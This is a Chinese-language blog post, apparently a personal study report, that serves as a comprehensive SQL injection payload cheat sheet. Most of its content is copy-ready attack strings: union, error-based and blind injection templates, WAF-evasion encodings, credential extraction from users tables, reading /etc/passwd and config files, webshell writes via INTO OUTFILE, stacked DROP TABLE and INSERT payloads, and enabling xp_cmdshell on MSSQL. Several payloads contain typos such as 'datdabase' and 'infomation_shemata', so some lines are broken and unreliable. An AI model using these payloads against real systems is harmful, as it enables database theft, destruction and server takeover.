3710 字
19 分钟
SQL注入

💡 字多 ≠ 有价值

周报不是为了表现工作量,而是给团队提供最基本的“信息透明”。尽量挑选重要信息来写。

汇报人:莫家豪

日期:2025-05-12

一,注入方式选择#

sql 注入

输入’ 或者 “ 有 sql 报错?

yes no

有错误信息? 页面内容有变化?,输入 1 1’ 返回不同

yes no yes no

报错注入 布尔盲注或联合注入 联合注入 时间盲注

场景第一选择第二选择
有报错回显报错注入联合注入
有正常回显位联合注入报错注入
只有真假回显位布尔盲注时间盲注
完全无回显时间盲注DNS 外带
有 waf编码+时间盲注内联+报错

二,实战测试流程#

第一步:确认注入点存在,原始请求 id=1

1.单引号测试

id=1’ 报错,字符型注入

id=1” 双引号闭合

2.算数测试

id=2-1 返回 id=1 的结果,数字型注入

3.布尔测试

id=1 AND 1=1 正常

id=1 AND 1=2 异常存在注入

4.时间测试

id=1 AND SLEEP(3) 响应延迟存在注入

第二步:判断闭合方式

第三步:选择注入方式并利用

1.有报错信息->报错注入

’ AND EXTRACTVALUE(1,concat(0x7e,datdabase(),0x7e)—

’ AND extractvalue(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()),0x7e))—

’ AND extractvalue(1,concat(0x7e,substring((SELECT password FROM users LIMIT 1),1,30),0x7e))— //extractvalue 最多显示 32 字符,用 string 截取

2.有回显位->联合注入

确定列数 ’ ORDER BY 1— - ’ ORDER BY 2— - ’ ORDER BY 5— - — 报错,说明4列

找回显位 ’ UNION SELECT 1,2,3,4— - — 页面显示 2 和 3,说明第2、3列可利用

提取数据 ’ UNION SELECT 1,database(),version(),4— - ’ UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()— -

3.只有真假响应->布尔盲注

确认布尔差异

’ AND 1=1— 响应正常

’ AND 1=2— 响应异常

猜数据库名长度

’ AND length(database())>5— 正常

’ AND length(database())>10— 异常

猜数据库名

’ AND ascii(substr(database(),1,1)>100—

4.完全无回显->时间盲注

确认时间延迟

’ AND SLEEP(3)—

条件延迟

’ AND IF(length(database())>5,SLEEP(3),0)—

逐字符拆解

’ AND IF(ascii(substr(database(),1,1)>100,sleep(3),0)—

三,Payload 体系化总结#

联合注入模板#

------------基础模板-------------

’ UNION SELECT null,null,null 不知道类型用 null

------------信息搜集模板---------

‘UNION SELECT 1,database(),version(),user(),5—

------------枚举数据库-----------

’ UNION SELECT 1,group_cpncat(scheme_name),3,4 FROM infomation_shemata—

------------枚举表名---------------

‘UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.columns WHERE table_schema=database()—

------------枚举列名----------------

‘UNION SELECT 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_name=‘users’

------------提取数据----------------

‘UNION SELECT 1,group_concat(username,0x3a,password),3,4 FROM users—

------------读取文件----------------

‘UNION SELECT 1,load_file(‘/etc/passwd’),3,4 —

------------写入 shell---------------

‘UNION SELECT 1,'',3,4 INTO OUTFILE ‘/var/www/htl/shell.php’—

报错注入 Payload 模板#

— ========== extractvalue(最多32字符)========== ’ AND extractvalue(1,concat(0x7e,database(),0x7e))— - ’ AND extractvalue(1,concat(0x7e,version(),0x7e))— - ’ AND extractvalue(1,concat(0x7e,user(),0x7e))— -

— 数据超32字符时分段读取 ’ AND extractvalue(1,concat(0x7e,substring((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()),1,30),0x7e))— - ’ AND extractvalue(1,concat(0x7e,substring((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()),31,30),0x7e))— -

— ========== updatexml(最多32字符)========== ’ AND updatexml(1,concat(0x7e,database(),0x7e),1)— - ’ AND updatexml(1,concat(0x5c,(SELECT password FROM users LIMIT 1)),1)— -

— ========== floor报错(无长度限制)========== ’ AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)— -

— ========== 双查询报错 ========== ’ AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT user()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)— -

布尔盲注 Payload 模板#

— ========== 基础判断 ========== ’ AND 1=1— - — True ’ AND 1=2— - — False

— ========== 长度判断 ========== ’ AND length(database())=8— - ’ AND (SELECT length(table_name) FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)>5— -

— ========== 字符猜解(二分法)========== ’ AND ascii(substr(database(),1,1))>100— - ’ AND ascii(substr(database(),1,1))>110— - ’ AND ascii(substr(database(),1,1))=115— - — 确认是 ‘s’ (ASCII 115)

— ========== 表名枚举 ========== ’ AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>5— - ’ AND ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1))>100— -

— ========== 正则匹配(更快)========== ’ AND database() REGEXP ‘^a’— - — 数据库名以a开头? ’ AND (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1) REGEXP ‘^u’— -

时间盲注 Payload 模板#

— ========== 基础延迟 ========== ’ AND SLEEP(3)— - ’ AND BENCHMARK(10000000,SHA1(‘test’))— - — 替代SLEEP

— ========== 条件延迟 ========== ’ AND IF(1=1,SLEEP(3),0)— - ’ AND CASE WHEN (1=1) THEN SLEEP(3) END— -

— ========== 数据提取 ========== ’ AND IF(length(database())>5,SLEEP(3),0)— - ’ AND IF(ascii(substr(database(),1,1))>100,SLEEP(3),0)— -

— ========== 嵌套延迟(绕过过滤)========== ’ AND (SELECT SLEEP(3) FROM dual WHERE database() LIKE ‘a%’)— -

— ========== 笛卡尔积延迟(SLEEP被过滤时)========== ’ AND (SELECT COUNT(*) FROM information_schema.tables a,information_schema.tables b,information_schema.tables c)—

四,waf 过滤绕过#

关键字过滤->大小写/编码/注释绕过

空格过滤 ->注释/tab/括号替代

引号过滤 -> 十六进制/CHAR 函数

长度限制-> 分段/截断

1. 关键字过滤绕过#

过滤:union select

大小写混淆:uNIon SElecT

内联注释:

//!UNION/ /!SELECT/ 1,2,3— -

/!50000UNION//!50000SELECT/ 1,2,3— - — MySQL版本注释

双写(仅替换一次时):

UNUNIONION SELSELECTECT 1,2,3—

编码:

%55NION %53ELECT 1,2,3— - — URL编码

UNION%0ASELECT 1,2,3— - — 换行符分隔

过滤:AND / OR

符号替代: ’ && 1=1— - ’ || 1=1— - ’ & 1— - ’ | 1— -

双写: ’ ANANDD 1=1— -

— 内联注释 ’ /!AND/ 1=1— -

过滤:SLEEP

BENCHMARK替代: ’ AND BENCHMARK(10000000,SHA1(‘test’))— -

笛卡尔积: ’ AND (SELECT COUNT(*) FROM information_schema.tables a,information_schema.tables b,information_schema.tables c)— -

IF条件 + 其他函数: ’ AND IF(1=1,(SELECT COUNT(*) FROM information_schema.tables a,information_schema.tables b),0)— -

2.空格绕过#

注释替代: ‘//UNION//SELECT/**/1,2,3— -

Tab/换行: ‘%09UNION%09SELECT%091,2,3— - — Tab ‘%0AUNION%0ASELECT%0A1,2,3— - — 换行 ‘%0DUNION%0DSELECT%0D1,2,3— - — 回车 ‘%0BUNION%0BSELECT%0B1,2,3— - — 垂直Tab ‘%0CUNION%0CSELECT%0C1,2,3— - — 换页 ‘%A0UNION%A0SELECT%A01,2,3— - — 非断行空格

括号包裹: ‘(UNION)(SELECT)(1),(2),(3)— - ‘UNION(SELECT(1),(2),(3))— -

3.引号过滤绕过#

十六进制编码: SELECT * FROM users WHERE name=0x61646d696e — ‘admin’ ’ UNION SELECT 1,0x61646d696e,3— - — 绕过引号 十六进制编码的单引号不能替代引号闭合时的单引号,只能替代字符串中的单引号

CHAR函数: SELECT CHAR(97,100,109,105,110) — ‘admin’ ’ UNION SELECT 1,CHAR(97,100,109,105,110),3— -

宽字节注入(GBK编码): %bf%27 — 绕过 addslashes() %df%27 — 绕过 mysql_real_escape_string()

反斜杠转义: ’ UNION SELECT 1,username,3 FROM users WHERE username=0x61646d696e— -

4. 函数过滤绕过#

被过滤函数替代方案
SUBSTRING()MID(),SUBSTR(),LEFT(),RIGHT()
CONCAT()CONCAT_WS(),||(Oracle)
CHAR()CHR()(Oracle) ,十六进制
IF()CASE WHEN THEN,IIF()(Acess)
SLLEP()BENCHAMARK(),笛卡尔积
load_file()into outfie(反向)

5 等号过滤绕过#

— LIKE替代 ’ AND database() LIKE ‘test’— -

— BETWEEN替代 ’ AND ascii(substr(database(),1,1)) BETWEEN 115 AND 115— -

— IN替代 ’ AND database() IN (‘test’)— -

— REGEXP替代 ’ AND database() REGEXP ‘^test$’— -

— 大于小于组合 ’ AND ascii(substr(database(),1,1))>114 AND ascii(substr(database(),1,1))<116— -

长度限制绕过#

— 分段执行(堆叠注入) ’; DROP TABLE users;— ’; INSERT INTO users VALUES(1,‘hacker’,‘password’);—

— 短函数名 ’ UNION SELECT 1,user(),3— - — 代替 database()

— 分多次请求 — 第一次:获取表名前半部分 — 第二次:获取表名后半部分

7 WAF绕过综合技巧#

— 组合绕过示例 ‘//aNd//(sEleCt//cOUNt(*)//fRoM/**/inForMAtion_scheMa.tAblEs)—

— 分块传输编码(HTTP Chunked) — 将POST请求分块发送,绕过WAF正则匹配

— 参数污染 ?id=1&id=’ UNION SELECT 1,2,3— - — 部分WAF只检查第一个参数,服务器使用最后一个

— 双重编码 %2527 — 解码一次是 %27,再解码是 ’

— 大小写+注释+编码组合 ’/!50000UnIoN//!50000SeLeCt/1,2,3— -

information_schema 结构

information_schema.schemata

├── schema_name → 数据库名

└── 用途:获取所有数据库

information_schema.tables

├── table_schema → 数据库名

├── table_name → 表名

└── 用途:获取指定库的所有表

information_schema.columns

├── table_schema → 数据库名

├── table_name → 表名

├── column_name → 列名

└── 用途:获取指定表的所有列

五,函数总结#

一、信息收集函数(第一优先级)#

用途:注入成功后,第一步就是收集信息

┌──────────────────────┬────────────────┬───────────────────────────────┐ │ 函数 │ 返回值 │ 用途 │ ├──────────────────────┼────────────────┼───────────────────────────────┤ │ database() │ 当前数据库名 │ 必须先知道库名才能查表 │ ├──────────────────────┼────────────────┼───────────────────────────────┤ │ user() │ 当前数据库用户 │ 判断是否root权限 │ ├──────────────────────┼────────────────┼───────────────────────────────┤ │ version() │ MySQL版本 │ 5.0以上才有information_schema │ ├──────────────────────┼────────────────┼───────────────────────────────┤ │ @@hostname │ 服务器主机名 │ 信息收集 │ ├──────────────────────┼────────────────┼───────────────────────────────┤ │ @@datadir │ 数据文件路径 │ 判断操作系统 │ ├──────────────────────┼────────────────┼───────────────────────────────┤ │ @@version_compile_os │ 操作系统 │ Windows/Linux │ └──────────────────────┴────────────────┴───────────────────────────────┘

— 联合注入中使用 ’ UNION SELECT 1,database(),version(),user(),5— -

— 报错注入中使用 ’ AND extractvalue(1,concat(0x7e,database(),0x7e))— -

— 盲注中使用 ’ AND database()=‘test’— - ’ AND LEFT(database(),1)=‘t’— -


二、字符串截取函数(盲注核心)

用途:盲注时逐字符猜解数据

2.1 三大截取函数对比

┌─────────────┬────────────────────────────┬────────────────────────┬──────┐ │ 函数 │ 语法 │ 示例 │ 结果 │ ├─────────────┼────────────────────────────┼────────────────────────┼──────┤ │ SUBSTRING() │ SUBSTRING(str, start, len) │ SUBSTRING(‘admin’,2,2) │ ‘dm’ │ ├─────────────┼────────────────────────────┼────────────────────────┼──────┤ │ MID() │ MID(str, start, len) │ MID(‘admin’,2,2) │ ‘dm’ │ ├─────────────┼────────────────────────────┼────────────────────────┼──────┤ │ SUBSTR() │ SUBSTR(str, start, len) │ SUBSTR(‘admin’,2,2) │ ‘dm’ │ └─────────────┴────────────────────────────┴────────────────────────┴──────┘

▎ 注意:这三个函数完全等价,可以互相替换。MID 和 SUBSTR 是 SUBSTRING 的别名。

— 盲注中完全等价 ’ AND SUBSTRING(database(),1,1)=‘a’— - ’ AND MID(database(),1,1)=‘a’— - ’ AND SUBSTR(database(),1,1)=‘a’— -

— 参数解释: — SUBSTRING(str, start, length) — str: 要截取的字符串 — start: 起始位置(从1开始,不是0!) — length: 截取长度

2.2 LEFT 和 RIGHT

┌─────────┬─────────────────┬──────────────────┬──────┐ │ 函数 │ 语法 │ 示例 │ 结果 │ ├─────────┼─────────────────┼──────────────────┼──────┤ │ LEFT() │ LEFT(str, len) │ LEFT(‘admin’,2) │ ‘ad’ │ ├─────────┼─────────────────┼──────────────────┼──────┤ │ RIGHT() │ RIGHT(str, len) │ RIGHT(‘admin’,2) │ ‘in’ │ └─────────┴─────────────────┴──────────────────┴──────┘

— 猜数据库名开头 ’ AND LEFT(database(),1)=‘t’— - — 第1个字符是’t’ ’ AND LEFT(database(),2)=‘te’— - — 前2个字符是’te’ ’ AND LEFT(database(),3)=‘tes’— - — 前3个字符是’tes’

— 适用场景:知道或猜测数据以某字符串开头时,比逐字符快

2.3 实战选择策略

猜开头字符 → LEFT() 最快 猜结尾字符 → RIGHT() 最快 猜中间字符 → SUBSTRING() 唯一选择 被过滤时 → 函数互相替换


三、字符转换函数(绕过过滤)

用途:绕过引号过滤,或盲注时比较字符

3.1 ASCII 和 ORD

┌─────────┬─────────────┬────────────┬──────┐ │ 函数 │ 语法 │ 示例 │ 结果 │ ├─────────┼─────────────┼────────────┼──────┤ │ ASCII() │ ASCII(char) │ ASCII(‘a’) │ 97 │ ├─────────┼─────────────┼────────────┼──────┤ │ ORD() │ ORD(char) │ ORD(‘a’) │ 97 │ └─────────┴─────────────┴────────────┴──────┘

— 布尔盲注(推荐用数字比较,不需要引号) ’ AND ASCII(SUBSTRING(database(),1,1))=116— - — 116 = ‘t’ ’ AND ASCII(SUBSTRING(database(),1,1))>100— -

— 二分法优化 ’ AND ASCII(SUBSTRING(database(),1,1))>100— - — True,继续 ’ AND ASCII(SUBSTRING(database(),1,1))>110— - — False,在100-110之间 ’ AND ASCII(SUBSTRING(database(),1,1))>105— - — True,在105-110之间 ’ AND ASCII(SUBSTRING(database(),1,1))=116— - — 确认是116=‘t’

3.2 CHAR(绕过引号过滤)

— CHAR 将ASCII码转为字符 SELECT CHAR(97,100,109,105,110) — 返回 ‘admin’

— 绕过引号过滤 — 原始:SELECT * FROM users WHERE name=‘admin’ — 绕过:SELECT * FROM users WHERE name=CHAR(97,100,109,105,110)

— 注入中使用 ’ UNION SELECT 1,CHAR(97,100,109,105,110),3— - — 输出 ‘admin’ ’ UNION SELECT 1,password,3 FROM users WHERE username=CHAR(97,100,109,105,110)— - — 查admin密码

3.3 HEX 和 UNHEX

— 十六进制编码绕过引号 SELECT HEX(‘admin’) — 返回 ‘61646D696E’ SELECT UNHEX(‘61646D696E’) — 返回 ‘admin’

— 注入中使用(0x前缀表示十六进制) ’ UNION SELECT 1,0x61646D696E,3— - — 输出 ‘admin’

— 查表名时绕过引号 ’ UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema=0x74657374— - — 0x74657374 是 ‘test’ 的十六进制


四、字符串拼接函数

用途:联合注入时合并多个字段输出

┌────────────────┬─────────────────────────┬────────────────────────┬─────────┐ │ 函数 │ 语法 │ 示例 │ 结果 │ ├────────────────┼─────────────────────────┼────────────────────────┼─────────┤ │ CONCAT() │ CONCAT(str1,str2,…) │ CONCAT(‘a’,‘b’,‘c’) │ ‘abc’ │ ├────────────────┼─────────────────────────┼────────────────────────┼─────────┤ │ CONCAT_WS() │ CONCAT_WS(sep,str1,…) │ CONCAT_WS(’:’,‘a’,‘b’) │ ‘a’ │ ├────────────────┼─────────────────────────┼────────────────────────┼─────────┤ │ GROUP_CONCAT() │ GROUP_CONCAT(col) │ 合并多行结果 │ ‘a,b,c’ │ └────────────────┴─────────────────────────┴────────────────────────┴─────────┘

— CONCAT: 合并多个字段(单行) ’ UNION SELECT 1,CONCAT(username,’:‘,password),3 FROM users— - — 输出: admin:123456

— CONCAT_WS: 用分隔符合并(单行) ’ UNION SELECT 1,CONCAT_WS(’-‘,username,password,email),3 FROM users— - — 输出: admin-123456-admin@test.com

— GROUP_CONCAT: 合并多行(关键!) ’ UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema=database()— - — 输出: users,admin,config,articles(一次性获取所有表名)

— GROUP_CONCAT + 分隔符 ’ UNION SELECT 1,GROUP_CONCAT(username SEPARATOR ’|’),3 FROM users— - — 输出: admin|test|guest

关键区别: CONCAT → 合并一行中的多列 → ‘a:b’ GROUP_CONCAT → 合并多行成一列 → ‘a,b,c,d,e’


五、条件判断函数

用途:盲注中的条件判断

5.1 IF函数

— 语法 IF(condition, true_value, false_value)

— 时间盲注 ’ AND IF(database()=‘test’,SLEEP(3),0)— -

— 布尔盲注 ’ AND IF(ASCII(SUBSTRING(database(),1,1))>100,1,0)— -

— 报错注入中的条件判断 ’ AND IF(1=1,extractvalue(1,concat(0x7e,database())),0)— -

5.2 CASE WHEN(IF被过滤时用)

— 语法 CASE WHEN condition THEN true_value ELSE false_value END

— 时间盲注 ’ AND CASE WHEN (database()=‘test’) THEN SLEEP(3) END— -

— 布尔盲注 ’ AND CASE WHEN (ASCII(SUBSTRING(database(),1,1))>100) THEN 1 ELSE 0 END— -

5.3 IIF(Access数据库)

— Access数据库特有 ’ AND IIF(ASCII(SUBSTRING(database(),1,1))>100,1,0)— -


六、时间延迟函数(时间盲注核心)

┌───────────────┬───────────────────────┬────────────┐ │ 函数 │ 语法 │ 适用数据库 │ ├───────────────┼───────────────────────┼────────────┤ │ SLEEP() │ SLEEP(seconds) │ MySQL │ ├───────────────┼───────────────────────┼────────────┤ │ BENCHMARK() │ BENCHMARK(count,expr) │ MySQL │ ├───────────────┼───────────────────────┼────────────┤ │ WAITFOR DELAY │ WAITFOR DELAY ‘0:0:5’ │ MSSQL │ ├───────────────┼───────────────────────┼────────────┤ │ pg_sleep() │ pg_sleep(seconds) │ PostgreSQL │ └───────────────┴───────────────────────┴────────────┘

— SLEEP: 直接延迟(最常用) ’ AND SLEEP(3)— - ’ AND IF(database()=‘test’,SLEEP(3),0)— -

— BENCHMARK: 通过重复执行消耗时间(SLEEP被过滤时用) ’ AND BENCHMARK(10000000,SHA1(‘test’))— - ’ AND IF(database()=‘test’,BENCHMARK(10000000,SHA1(‘test’)),0)— -

— 笛卡尔积延迟(更隐蔽) ’ AND (SELECT COUNT(*) FROM information_schema.tables a,information_schema.tables b,information_schema.tables c)— -


七、系统信息函数

用途:联合注入时获取更多系统信息

— 数据库信息 ’ UNION SELECT 1,database(),version(),user(),@@hostname— -

— 文件路径 ’ UNION SELECT 1,@@datadir,@@basedir,@@tmpdir,4— -

— 操作系统 ’ UNION SELECT 1,@@version_compile_os,2,3,4— -

— 当前用户权限 ’ UNION SELECT 1,(SELECT file_priv FROM mysql.user WHERE user=current_user),3,4,5— - — Y = 有文件读写权限,N = 无


八、文件操作函数

用途:读取敏感文件、写入WebShell

8.1 load_file(读文件)

— 前提:需要FILE权限 ’ UNION SELECT 1,load_file(‘/etc/passwd’),3— -

— 读取网站配置文件 ’ UNION SELECT 1,load_file(‘/var/www/html/config.php’),3— -

— 十六进制绕过引号 ’ UNION SELECT 1,load_file(0x2f7661722f7777772f68746d6c2f636f6e6669672e706870),3— -

— Windows路径 ’ UNION SELECT 1,load_file(‘C:/Windows/System32/drivers/etc/hosts’),3— - ’ UNION SELECT 1,load_file(‘C:\Windows\System32\drivers\etc\hosts’),3— -

8.2 INTO OUTFILE(写文件)

— 写入WebShell ’ UNION SELECT 1,”,3 INTO OUTFILE ‘/var/www/html/shell.php’— -

— 写入一句话木马 ’ UNION SELECT 1,”,3 INTO OUTFILE ‘/var/www/html/cmd.php’— -

— 注意事项 — 1. 需要FILE权限 — 2. 需要知道网站绝对路径 — 3. MySQL用户需要有写权限 — 4. 文件不能已存在(会报错)


九、聚合函数

用途:配合盲注判断数据

┌───────────────┬────────────────────┬────────────────────────────┐ │ 函数 │ 用途 │ 示例 │ ├───────────────┼────────────────────┼────────────────────────────┤ │ COUNT() │ 统计行数 │ SELECT COUNT(*) FROM users │ ├───────────────┼────────────────────┼────────────────────────────┤ │ LENGTH() │ 字符串长度 │ LENGTH(database()) │ ├───────────────┼────────────────────┼────────────────────────────┤ │ CHAR_LENGTH() │ 字符数(中文友好) │ CHAR_LENGTH(‘测试’) │ └───────────────┴────────────────────┴────────────────────────────┘

— 布尔盲注:判断表是否存在 ’ AND (SELECT COUNT(*) FROM admin)>0— - — 存在admin表

— 猜数据库名长度 ’ AND LENGTH(database())=4— -

— 猜密码长度 ’ AND LENGTH((SELECT password FROM users LIMIT 1))=32— - — MD5密码


十、函数速查表(按用途分类)

盲注必备

┌─────────────┬────────────┬──────────────────────────────────┐ │ 函数 │ 用途 │ 示例 │ ├─────────────┼────────────┼──────────────────────────────────┤ │ SUBSTRING() │ 截取字符 │ SUBSTRING(database(),1,1) │ ├─────────────┼────────────┼──────────────────────────────────┤ │ ASCII() │ 转ASCII码 │ ASCII(SUBSTRING(database(),1,1)) │ ├─────────────┼────────────┼──────────────────────────────────┤ │ LENGTH() │ 字符串长度 │ LENGTH(database()) │ ├─────────────┼────────────┼──────────────────────────────────┤ │ IF() │ 条件判断 │ IF(condition,1,0) │ ├─────────────┼────────────┼──────────────────────────────────┤ │ SLEEP() │ 时间延迟 │ SLEEP(3) │ ├─────────────┼────────────┼──────────────────────────────────┤ │ COUNT() │ 统计数量 │ (SELECT COUNT(*) FROM users) │ └─────────────┴────────────┴──────────────────────────────────┘

联合注入必备

┌────────────────┬────────────┬──────────────────────────┐ │ 函数 │ 用途 │ 示例 │ ├────────────────┼────────────┼──────────────────────────┤ │ database() │ 当前库名 │ SELECT database() │ ├────────────────┼────────────┼──────────────────────────┤ │ user() │ 当前用户 │ SELECT user() │ ├────────────────┼────────────┼──────────────────────────┤ │ version() │ 版本 │ SELECT version() │ ├────────────────┼────────────┼──────────────────────────┤ │ CONCAT() │ 拼接字符串 │ CONCAT(user,’:‘,pass) │ ├────────────────┼────────────┼──────────────────────────┤ │ GROUP_CONCAT() │ 合并多行 │ GROUP_CONCAT(table_name) │ └────────────────┴────────────┴──────────────────────────┘

绕过过滤必备

┌─────────────┬───────────────┬──────────────────────────┐ │ 函数 │ 用途 │ 示例 │ ├─────────────┼───────────────┼──────────────────────────┤ │ CHAR() │ 数字转字符 │ CHAR(97,100,109,105,110) │ ├─────────────┼───────────────┼──────────────────────────┤ │ HEX() │ 十六进制编码 │ HEX(‘admin’) │ ├─────────────┼───────────────┼──────────────────────────┤ │ MID() │ SUBSTRING替代 │ MID(database(),1,1) │ ├─────────────┼───────────────┼──────────────────────────┤ │ BENCHMARK() │ SLEEP替代 │ BENCHMARK(1e7,SHA1(‘x’)) │ ├─────────────┼───────────────┼──────────────────────────┤ │ CASE WHEN │ IF替代 │ CASE WHEN x THEN 1 END │ └─────────────┴───────────────┴──────────────────────────┘

六,其他数据库#

功能MySQLMMSQLOracleSQLite
版本version()@@versionv$versionsqlite_version()
当前库database()db_name()v$database——
当前用户user()system_userv$database——
系统表information_schemasysobjectsall_tablessqlite_master
延迟SLEEP(3)WAITFOR DELAY ‘0:0:3’dbms_pipe无
注释— # /**/— /**/— /**/— /**/
字符串拼接CONCAT()+||||
限制行数LIMIT 0,1TOP 1ROWNUM=1LIMIT 1

MSSQL 特有

— 版本

’ UNION SELECT 1,@@version,3— -

— 数据库名

’ UNION SELECT 1,db_name(),3— -

— 表名

’ UNION SELECT 1,name,3 FROM sysobjects WHERE xtype=‘U’— -

— 列名

’ UNION SELECT 1,name,3 FROM syscolumns WHERE id=object_id(‘users’)— -

— 时间盲注

’ IF 1=1 WAITFOR DELAY ‘0:0:3’— -

— 执行命令(sa权限)

’ ; EXEC master..xp_cmdshell ‘whoami’— -

— 开启 xp_cmdshell

’ ; EXEC sp_configure ‘show advanced options’,1; RECONFIGURE; EXEC sp_configure ‘xp_cmdshell’,1; RECONFIGURE;— -

Oracle 特有

— 版本

’ UNION SELECT banner,null FROM v$version WHERE rownum=1— -

— 表名

’ UNION SELECT table_name,null FROM all_tables WHERE rownum<=10— -

— 列名

’ UNION SELECT column_name,null FROM all_tab_columns WHERE table_name=‘USERS’— -

— 时间盲注

’ AND (SELECT COUNT(*) FROM all_users a, all_users b, all_users c, all_users d)>0— -

— 报错注入

’ AND 1=ctxsys.drithx.sn(1,(SELECT banner FROM v$version WHERE rownum=1))— -

SQLite 特有

— 版本

’ UNION SELECT 1,sqlite_version(),3— -

— 表名

’ UNION SELECT 1,name,3 FROM sqlite_master WHERE type=‘table’— -

— 列名(需要从 sql 字段解析)

’ UNION SELECT 1,sql,3 FROM sqlite_master WHERE name=‘users’— -

— 注意:SQLite 没有 information_schema

SQL注入
https://lab404.cn/posts/sql-injection/
作者
见山
发布于
2025-11-20
许可协议
CC BY-NC-SA 4.0